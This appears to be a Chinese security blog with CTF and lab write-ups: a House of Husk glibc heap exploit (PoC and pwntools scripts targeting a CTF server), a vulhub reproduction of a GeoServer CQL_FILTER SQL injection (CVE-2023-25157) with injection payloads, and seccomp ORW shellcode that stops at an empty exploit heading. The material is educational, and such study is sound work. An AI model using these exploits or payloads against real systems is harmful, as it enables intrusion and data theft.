Ky不是枕木

分享学习经验

House Of Husk

前言:在打PolarCTF2023 冬季个人挑战赛时遇到一个堆题,题目叫做easy_str,一开始以为是个格式化字符串题目,但实际上是个堆题,题目也很特殊,只能申请大小大于0x500的chunk,特此赛后复盘学习以下该题目,以及这个题目所用到的技巧

攻击原理

这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大chunk时(超过fastbin),存在或可以构造出UAF漏洞。

首先从源码角度简单分析攻击背后的原理。在使用printf类格式化字符串函数进行输出的时候,该类函数会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出,在glibc中有这样一个函数__register_printf_function,为格式化字符为spec的格式化输出注册函数,这个函数是__register_printf_specifier函数的封装。

跟进__register_printf_specifier函数,如果格式化符超过0xff或小于0,即不在ascii码则返回-1,如果__printf_arginfo_table为空就通过calloc分配堆内存存放__printf_arginfo_table以及__printf_function_table。两个表空间都为0x100,可以为0-0xff的每个字符注册一个函数指针,第一个表后面紧接着第二个表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_function (int spec, printf_function converter,
printf_arginfo_function arginfo)
{
return __register_printf_specifier (spec, converter,
(printf_arginfo_size_function*) arginfo);
}
/* Register FUNC to be called to format SPEC specifiers. */
int
__register_printf_specifier (int spec, printf_function converter,
printf_arginfo_size_function arginfo)
{
if (spec < 0 || spec > (int) UCHAR_MAX)
{
__set_errno (EINVAL);
return -1;
}

int result = 0;
__libc_lock_lock (lock);

if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc (UCHAR_MAX + 1,sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}

__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}

__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;

out:
__libc_lock_unlock (lock);

return result;
}

__printf_function_tablespec索引处的类型为printf_function的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的函数指针,这个函数在printf->vfprintf->printf_positional中被调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/* Type of a printf specifier-handler function.
STREAM is the FILE on which to write output.
INFO gives information about the format specification.
ARGS is a vector of pointers to the argument data;
the number of pointers will be the number returned
by the associated arginfo function for the same INFO.
The function should return the number of characters written,
or -1 for errors. */
typedef intprintf_function (FILE *__stream,
conststruct printf_info *__info,
const void *const *__args);

//glibc-2.27/vfprintf.c:1985
extern printf_function **__printf_function_table;
int function_done;

if (spec <= UCHAR_MAX
&& __printf_function_table != NULL
&& __printf_function_table[(size_t) spec] != NULL)
{
const void **ptr = alloca (specs[nspecs_done].ndata_args
*sizeof (const void *));

/* Fill in an array of pointers to the argument values. */
for (unsigned int i = 0; i < specs[nspecs_done].ndata_args;
++i)
ptr[i] = &args_value[specs[nspecs_done].data_arg + i];

/* Call the function. */
function_done = __printf_function_table[(size_t) spec]
(s, &specs[nspecs_done].info, ptr);

if (function_done != -2)
{
/* If an error occurred we don't have information
about # of chars. */
if (function_done < 0)
{
/* Function has set errno. */
done = -1;
goto all_done;
}

done_add (function_done);
break;
}
}

__printf_arginfo_tablespec索引处的类型为printf_arginfo_size_function的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的另一个函数指针,这个函数在printf->vfprintf->printf_positional->__parse_one_specmb中被调用。可以看到其返回值为格式化字符消耗的参数个数,猜测其功能是根据格式化字符做解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* Type of a printf specifier-arginfo function.
INFO gives information about the format specification.
N, ARGTYPES, *SIZE has to contain the size of the parameter for
user-defined types, and return value are as for parse_printf_format
except that -1 should be returned if the handler cannot handle
this case. This allows to partially overwrite the functionality
of existing format specifiers. */
typedef intprintf_arginfo_size_function (conststruct printf_info *__info,
size_t __n, int *__argtypes,
int *__size);

//glibc-2.27/printf-parsemb.c:307

/* Get the format specification. */
spec->info.spec = (wchar_t) *format++;
spec->size = -1;
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
/* We don't try to get the types for all arguments if the format
uses more than one. The normal case is covered though. If
the call returns -1 we continue with the normal specifiers. */
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
{
/* Find the data argument types of a built-in spec. */
spec->ndata_args = 1;

structprintf_spec
{
/* Information parsed from the format spec. */
structprintf_infoinfo;
/* Pointers into the format string for the end of this format
spec and the next (or to the end of the string if no more). */
const UCHAR_T *end_of_fmt, *next_fmt;
/* Position of arguments for precision and width, or -1 if `info' has
the constant value. */
int prec_arg, width_arg;
int data_arg; /* Position of data argument. */
int data_arg_type; /* Type of first argument. */
/* Number of arguments consumed by this format specifier. */
size_t ndata_args;
/* Size of the parameter for PA_USER type. */
int size;
};

此外,在vfprintf函数中如果检测到我们注册的table不为空,则对于格式化字符不走默认的输出函数而是调用printf_positional函数,进而可以调用到表中的函数指针。

至此,两个调用链的分析就完成了,我们再来结合poc分析一下今天要谈论的攻击方式是如何和printf结合的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//glibc-2.27/vfprintf.c:1335
/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;

/* Hand off processing for positional parameters. */

do_positional:
if (__glibc_unlikely (workstart != NULL))
{
free (workstart);
workstart = NULL;
}
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep);

poc分析

这里使用的poc就直接用攻击发现者提供的源代码,运行环境为ubuntu 18.04/glibc 2.27,编译命令为gcc ./poc.c -g -fPIE -no-pie -o poc(关闭pie方便调试)。

代码模拟了UAF漏洞,先分配一个超过fastbin的块,释放之后会进入unsorted bin。预先分配两个chunk,第一个用来伪造__printf_function_table,第二个用来伪造__printf_arginfo_table。将__printf_arginfo_table['X']处的函数指针改为one_gadget

使用unsorted bin attack改写global_max_fastmain_arena+88从而使得释放的所有块都按fastbin处理(都是超过large bin大小的堆块不会进tcache)。

在这里有一个很重要的知识就是fastbin的堆块地址会存放在main_arena中,从main_arena+8开始存放fastbin[0x20]的头指针,一直往后推,由于平时的fastbin默认阈值为0x80,所以在glibc-2.23的环境下最多存放到main_arena+0x48,现在我们将阈值改为0x7f*导致几乎所有sz的chunk都被当做fastbin,其地址会从main_arena+8开始,根据sz不同往libc覆写堆地址。如此一来,只要我们计算好__printf_arginfo_tablemain_arena的地址偏移,进而得到合适的sz,就可以在之后释放这个伪造table的chunk时覆写__printf_arginfo_tableheap_addr。这种利用方式在*CTF2019->heap_master的题解中我曾经使用过,详情可以参见Star CTF heap_master的1.2.4.3

有了上述知识铺垫,整个攻击流程就比较清晰了,总结一下,先UAF改global_max_fast为main_arena+88,之后释放合适sz的块到fastbin,从而覆写__printf_arginfo_table表为heap地址,heap['X']被覆写为了one_gadget,在调用这个函数指针时即可get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>#include <stdlib.h>#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

intmain (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);//__printf_arginfo_table => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

动态分析

glibc的调试我们用的比较多了,在涉及到库函数的时候最好结合源码进行调试,在glibc下载这里下载源码,解压之后使用directory添加源码目录

1
2
3
4
b* 0x400774
directory ~/Desktop/CTF/glibc-2.27/stdio-common
r
parseheap

在printf下断点,可以看到此时__printf_arginfo_table伪造完成,我们使用rwatch *0x60be50下内存断点,继续运行。

image.png

单步进入si进入printf

image.png

下一个调用函数

下一步调用

image.png

可以看到运行到了__parse_one_specmb函数,再跟进两步,发现最终调用了rax寄存器里的 one_gadget

image.png

image.png

扩展

当然,除了覆写第二个table外,改第一个一样可以get shell,流程和调试我们已经讲的差不多了,这里只需把one_gadget赋值代码改为*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;即可,我们用同样方式在gdb下调试poc并设置硬件断点

continue继续,可以看到在printf_positional断住,跟进两步,最终调用了rax里的`one_gadget

例题: PolarCTF2023 冬季个人挑战赛 easy_str

查看题目信息**

1
$file easy_str$checksec easy_str

利用 unsorted bin attackglobal_max_fast 改为 main_arena->top,后面释放的 chunk 会进入 fastbinY 数组。通过 fastbinY 越界利用将__printf_arginfo_table 对应的 spec 改为 one_gadget。最后通过调用 printf("%X",0) 来触发 one_gadget

1
2
3
4
5
6
def get_shell():    
edit(0, p64(libc_addr+0x3ed940-0x10)*2)
edit(2, b'a'*((0x58-2)*8) + p64(libc_addr+0x10a2fc))
add(0x500) # 4
dele(2)
dele(1)

EXP**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#pwn()

#远程
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.binary = './easy_str.easy_str'
context.log_level = 'debug'

# io = remote('120.46.59.242', 2131)
io = process('./easy_str.easy_str')
elf = ELF('./easy_str.easy_str')
libc = ELF('./libc-2.27.so')
one_gadgets = [0x4f2a5, 0x4f302, 0x10a2fc]

def debug(gdbscript="", stop=False):
if isinstance(io, process):
gdb.attach(io, gdbscript=gdbscript)
if stop:
pause()

stop = pause
S = pause
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
s = io.send
sl = io.sendline
sla = io.sendlineafter
sa = io.sendafter
slt = io.sendlinethen
st = io.sendthen
r = io.recv
rn = io.recvn
rr = io.recvregex
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
rs = io.recvlines
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
ia = io.interactive
ic = io.close
cr = io.can_recv

def cmd(i):
sla(b'choice: \\n', i)

def add(size):
cmd(b'1')
sla(b'size:\\n', str(size).encode())

def edit(idx, content):
cmd(b'2')
sla(b'id:\\n', str(idx).encode())
sl(content)

def show(idx):
cmd(b'3')
sla(b'id:\\n', str(idx).encode())
ru(b'output\\n')

def dele(idx):
cmd(b'4')
sla(b'id:\\n', str(idx).encode())

def get_libc():
global libc_addr
add(0x500) # 0
add(0x4af8*2-0x10) # 1
add(0xC30*2-0x10) # 2
add(0x500) # 3

dele(0)
show(0)

libc_addr = u64(r(6).ljust(0x8, b'\\x00'))-0x3ebca0
leak("libc_addr", libc_addr)
leak("onegadget", libc_addr+0x10a2fc)

def get_shell():
edit(0, p64(libc_addr+0x3ed940-0x10)*2)
edit(2, b'a'*((0x58-2)*8) + p64(libc_addr+0x10a2fc)) #这里打2打1都可以
add(0x500) # 4
dele(2)
dele(1)

def pwn():
get_libc()
get_shell()
ia()

if __name__ == '__main__':
pwn()

打本地,我的libc版本是2.27-3ubuntu1_amd64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
from LibcSearcher import LibcSearcher
context(log_level = "debug",arch = "amd64")
file_name='./easy_str.easy_str'
ld_name='/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so'
# libc_name='/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6'
libc_name = './libc-2.27.so'

def connect():
global p,elf,libc
local = 0
if local:
# p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name})
p = process(file_name)
else:
p = remote("120.46.59.242",2131 )
elf = ELF(file_name)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("/mnt/e/CTF/PWN/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
# libc = ELF(libc_name)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x,data :p.sendafter(x, data)
sla = lambda x,data :p.sendlineafter(x, data)
r = lambda n :p.recv(n)
rl = lambda n :p.recvline(n)
ru = lambda x :p.recvuntil(x, drop = True)
r = lambda x :p.recv(x)
uu64 = lambda :u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))
itr = lambda :p.interactive()
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))

def dbg(addr):
gdb.attach(sh,'b *0x{}\\nc\\n'.format(addr))

def db():
gdb.attach(p)

def meau(idx):
ru("choice: \\n")
sl(str(idx))

def edit(idx,content):
meau(2)
sla("id:\\n",str(idx))
s(content)

def add(size):
meau(1)
sla("size:\\n",str(size))

def show(idx):
meau(3)
sla("id:",str(idx))

def delete(idx):
meau(4)
sla("id:",str(idx))

#define offset2size(ofs) ((ofs) * 2 - 0x10)
MAIN_ARENA = 0x3ebc40
MAIN_ARENA_DELTA = 0x60
GLOBAL_MAX_FAST = 0x3ed940
PRINTF_FUNCTABLE = 0x3f0658
PRINTF_ARGINFO = 0x3ec870
ONE_GADGET = 0x10a38c

def pwn():
add(0x500) #0
add((PRINTF_FUNCTABLE-MAIN_ARENA)*2-0x10) #1
add((PRINTF_ARGINFO-MAIN_ARENA)*2-0x10) #2
add(0x500) #3

delete(0)
show(0)
ru("output\\n")

libc_base = u64(p.recv(6).ljust(8,b'\\x00')) - MAIN_ARENA - MAIN_ARENA_DELTA
lg("libc_base",libc_base)

pay0 = p64(0)*86 + p64(libc_base+ONE_GADGET)
edit(2,pay0)

#修改global_max_fast
pay1 = p64(0) + p64(libc_base + GLOBAL_MAX_FAST-0x10)
edit(0,pay1)
add(0x500) #0

delete(2)
delete(1)

# meau(666)
# db()
p.interactive()

GeoServer SQL 注入漏洞分析(CVE-2023-25157)

一.GeoServer简介

GeoServer 是用 Java 编写的开源软件服务器,它提供了查看、编辑和共享地理空间数据的功能。它旨在成为一种灵活、高效的解决方案,用于分发来自各种来源(如地理信息系统 (GIS) 数据库、基于 Web 的数据和个人数据集)的地理空间数据。

二.漏洞简述

在 2.22.1 和 2.21.4 之前的版本中,在开放地理空间联盟 (OGC) 标准定义的过滤器和函数表达式中发现了一个 SQL 注入问题,未经身份验证的攻击者可以利用该漏洞进行SQL注入,执行恶意代码。

三.漏洞原理

由于系统未对用户输入进行过滤,远程未授权攻击者可以构造特定语句绕过GeoServer的词法解析,从而实现SQL注入,成功利用此漏洞可获取敏感信息,甚至可能获取数据库服务器权限。由于GeoServer在默认配置下内置图层存放数据在文件中,则未使用外置数据库的场景不受此漏洞影响。

四.影响版本

GeoServer 2.20.x < 2.20.7
GeoServer 2.19.x < 2.19.7
GeoServer 2.18.x < 2.18.7
GeoServer 2.21.x < 2.21.4
GeoServer 2.22.x < 2.22.2

五.环境搭建

在kali的docker中搭建vulhub进行漏洞复现

clone项目:

sudo git clone https://github.com/vulhub/vulhub.git

Untitled 1.png

在/geoserver/CVE-2023-25157目录,用下面的命令下载并启动:

sudo docker-compose up -d

Untitled 2.png

Untitled 3.png

看到端口,这里是8080。

在浏览器上访问http://your-ip:8080/geoserver

进入环境,说明配置成功了,接下来就可以开始愉快的漏洞复现了:

Untitled 4.png

此时复现的系统版本为2.22.1

以下是采用官方给的文档搭建的环境

在这里使用 GeoServer 2.21.3,下载完成后解压:

1
unzip geoserver-2.21.3-bin.zip

进入到 geoserver-2.21.3-bin/bin 目录下,执行启动程序

1
sh startup.sh

Untitled 4.png

Untitled 5.png

使用 Docker 搭建 PostgreSQL

1
docker run -e POSTGRES_PASSWORD=password -d -p 5433:5432  postgres:latest

进入容器

Untitled 6.png

安装 postgis 拓展

1
2
3
apt search postgis

apt install postgis postgresql-14-postgis-3-scripts

Untitled 7.png

Untitled 8.png

postgresql-14-postgis-3-scripts 要根据你 PostgreSQL 来安装,本次使用到的 PostgreSQL 为 PostgreSQL 14.1

此时数据可参考官方文档:https://docs.geoserver.org/latest/en/user/gettingstarted/postgis-quickstart/index.html

编辑 startup.sh 启动脚本添加远程调试参数:

1
exec "${_RUNJAVA}" ${JAVA_OPTS:--DNoJavaOpts -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005} "${MARLIN_ENABLER:--DMarlinDisabled}" "${RENDERER:--DDefaultrenderer}" "-Djetty.base=${GEOSERVER_HOME}" "-DGEOSERVER_DATA_DIR=${GEOSERVER_DATA_DIR}" -Djava.awt.headless=true -DSTOP.PORT=8079 -DSTOP.KEY=geoserver -jar "${GEOSERVER_HOME}/start.jar"

至此环境搭建结束。

六.漏洞分析

这里采用vulnhub环境进行复现

为了正确利用这些漏洞,首先需要获得:

  1. 可用的功能名称
  2. 每个可用功能的可用属性

分别。因此,以下请求发送到目标服务器以获取可用的功能名称。

1
2
3
4
5
6
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

获取可用功能名称后,我们需要发送以下 HTTP 请求来获取相关可用功能的可用属性。

1
2
3
4
5
6
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

枚举所有可用的功能名称以及与这些功能名称关联的属性名称。在此阶段之后,可以通过将 SQL 有效负载注入的恶意 HTTP 请求发送到服务器以获取任何获取的属性来执行利用过程。

1
2
3
4
5
6
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>=strStartsWith%28<nameOftheAvailabePropertyHere>%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

1利用前提
首先,在利用此漏洞之前,必须找到包含 PostGIS 数据存储的现有工作空间。Vulhub的GeoServer实例已经有一个PostGIS数据存储:

工作区名称 vulhub
数据存储名称 pg
要素类型(表)名称 example
要素类型的属性之一 name
1
2
3
4
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate

构造payload/poc

http://192.168.126.128:8080/geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith(name,’x’’) = true and 1=(SELECT CAST ((SELECT version()) AS integer)) – ‘) = true

Untitled 9.png

成功注入获取版本信息。

Untitled 10.png

使用wireshark抓包结果如下

Untitled 11.png

脚本演示

Untitled 12.png

Untitled 13.png

七.漏洞修复

目前 GeoServer 和 Geotools 官方均已发布修复版本,查看 GeoServer 官方提交的补丁,在 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 中添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties 模块用于配置文件 jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块属性字段并更改了构造函数以包含此属性字段。

Untitled 14.png

Untitled 15.png

还修改了

 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java 中的插入语法

Untitled 16.png

而在 GeoTools 提交的补丁,修改 

modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java 添加了EscapeSql 模块和 escapeBackslash 字段对 SQL 注入进行防御

Untitled 17.png

Untitled 18.png

Untitled 19.png

八.漏洞总结

总之,正如 CVE-2023-25157 所概述的那样,在 GeoServer 和 GeoTools 中发现这些 SQL 注入漏洞,清楚地提醒人们数字环境中始终存在的威胁。这些漏洞位于核心 OGC 筛选器和函数表达式中,可能导致重大中断和未经授权的数据访问或修改。

九.参考资料

https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158

https://docs.geoserver.org/latest/en/user/introduction/overview.html

CVE-2023-25157:GeoServer OGC Filter SQL注入漏洞复现_geoserver最新版本_gaynell的博客-CSDN博客

最近复现强网杯2021赛题[shellcode]有感,特意来学习一下有关orw原理中缺少某些函数的情况如何进行ORW
禁用沙箱规则我在之前提到过 [[prctl-seccomp]]
参考了大佬!https://www.jianshu.com/p/754b0a2ae353

普通 ORW

  1. 32 位

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    ; "/home/orw/flag\x00" 保存到栈上
    ; 小端序
    ; 要注意给字符串结尾加上 '\x00'
    push 0x006761
    push 0x6c662f77
    push 0x726f2f65
    push 0x6d6f682f
    ; open("/home/orw/flag", O_RDONLY)
    ; #define O_RDONLY 0
    mov eax,5 ; open() 系统调用号是 5
    mov ebx,esp ; "/home/orw/flag"
    xor ecx,ecx ; O_RDONLY = 0
    xor edx,edx
    int 0x80 ; int 80h 会报错
    ; 返回 fd 保存到 eax 中

    ; read(fd, buf, count)
    mov ebx,eax ; fd
    mov eax,3 ; read() 的系统调用号是 3
    mov ecx,esp ; buf
    mov edx,0x30 ; count
    int 0x80

    ; write(fd, buf, count)
    mov eax,4 ; write() 的系统调用号是 4
    mov ebx,1 ; fd=1, write到标准输出
    mov ecx,esp ; buf
    mov edx,0x30 ; count
    int 0x80
  2. 64 位
    (1). 版本一

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    ; open("flag", 0)
    0: 68 66 6c 61 67 push 0x67616c66
    5: 6a 02 push 0x2
    7: 58 pop rax
    8: 48 89 e7 mov rdi,rsp
    b: 48 31 f6 xor rsi,rsi
    e: 0f 05 syscall

    ; read(fd, rsp, 0x20)
    10: 48 89 c7 mov rdi,rax
    13: 48 31 c0 xor rax,rax
    16: 48 89 e6 mov rsi,rsp
    19: 6a 20 push 0x20
    1b: 5a pop rdx
    1c: 0f 05 syscall

    ; write(1, rsp, 0x20)
    1e: 6a 01 push 0x1
    20: 58 pop rax
    21: 6a 01 push 0x1
    23: 5f pop rdi
    24: 48 89 e6 mov rsi,rsp
    27: 6a 20 push 0x20
    29: 5a pop rdx
    2a: 0f 05 syscall

(2). 版本二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* push b'flag\x00' */
push 0x67616c66
/* call open('rsp', 0, 'O_RDONLY') */
push (2) /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* 0 */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 2147483647) */
mov r10d, 0x7fffffff
mov rsi, rax
push (40) /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall

OR 缺 W (例题: 2021-蓝帽杯初赛-slient)

  1. 文件

链接:https://pan.baidu.com/s/1EiiZNv5GgSX5t9d4eSKQcA
提取码:a6gt

题目保护如下

1
2
3
4
5
6
7
8
┌──(kylinxin🚀LAPTOP-O0CAV6MM)-[/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w]
└─✨ checksec chall
[*] '/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

沙箱保护开启如下,只能允许read,open,禁用了write,那么意味着我们ORW组合技只有OR可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
Welcome to silent execution-box.

line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

逆向代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  ......
// 逆向代码片段
puts("Welcome to silent execution-box.");

v3 = getpagesize();
// 利用 mmap 函数在 0x10000 处开辟一个 page 的空间
v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);

read(0, &buf, 0x40uLL);

// 设置沙盒
prctl(38, 1LL, 0LL, 0LL, 0LL);
prctl(4, 0LL);
v8 = seccomp_init(0LL);
seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);
seccomp_load(v8);

// 往 &buf 中读入 0x40 字节数据
// 然后执行这段数据
v4 = buf;
......
*(_OWORD *)v9 = v4;
((void (__fastcall *)(__int64, __int64, __int64))v9)(0xDEADBEEFLL, 0xDEADBEEFLL, 0xDEADBEEFLL);

return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// about mmap (link: https://man7.org/linux/man-pages/man2/mmap.2.html)
// 1. SYNOPSIS
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

/* 2. DESCRIPTION
mmap() creates a new mapping in the virtual address space of the
calling process. The starting address for the new mapping is
specified in addr. The length argument specifies the length of
the mapping (which must be greater than 0).

If addr is NULL, then the kernel chooses the (page-aligned)
address at which to create the mapping; this is the most portable
method of creating a new mapping. If addr is not NULL, then the
kernel takes it as a hint about where to place the mapping; on
Linux, the kernel will pick a nearby page boundary (but always
above or equal to the value specified by
/proc/sys/vm/mmap_min_addr) and attempt to create the mapping
there. If another mapping already exists there, the kernel picks
a new address that may or may not depend on the hint. The
address of the new mapping is returned as the result of the call.
......
*/

on Linux, the kernel will pick a nearby page boundary (but always above or equal to the value specified by /proc/sys/vm/mmap_min_addr) 可知:Linux 为 mmap 分配虚拟内存时,总是从最接近 addr 的页边缘开始的,而且保证地址不低于 /proc/sys/vm/mmap_min_addr 所指定的值。
可以看到,mmap_min_addr = 65536 = 0x10000,因此刚才判断程序利用 mmap 函数在 0x10000 处开辟一个 page 的空间。

1
2
3
┌──(kylinxin🚀LAPTOP-O0CAV6MM)-[/mnt/e/CTF/PWN/study_path/stackOverflow/orw/orw_no_w]
└─✨ cat /proc/sys/vm/mmap_min_addr
65536

思路

既然不能 `write`,便只能用 `open` 函数打开 flag 文件后将其中保存的 flag 用 `read` 函数读取出来,再逐字节遍历,与所有的打印字符用 `cmp` 进行比较,一个一个字节地爆破出来。详见 EXP。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
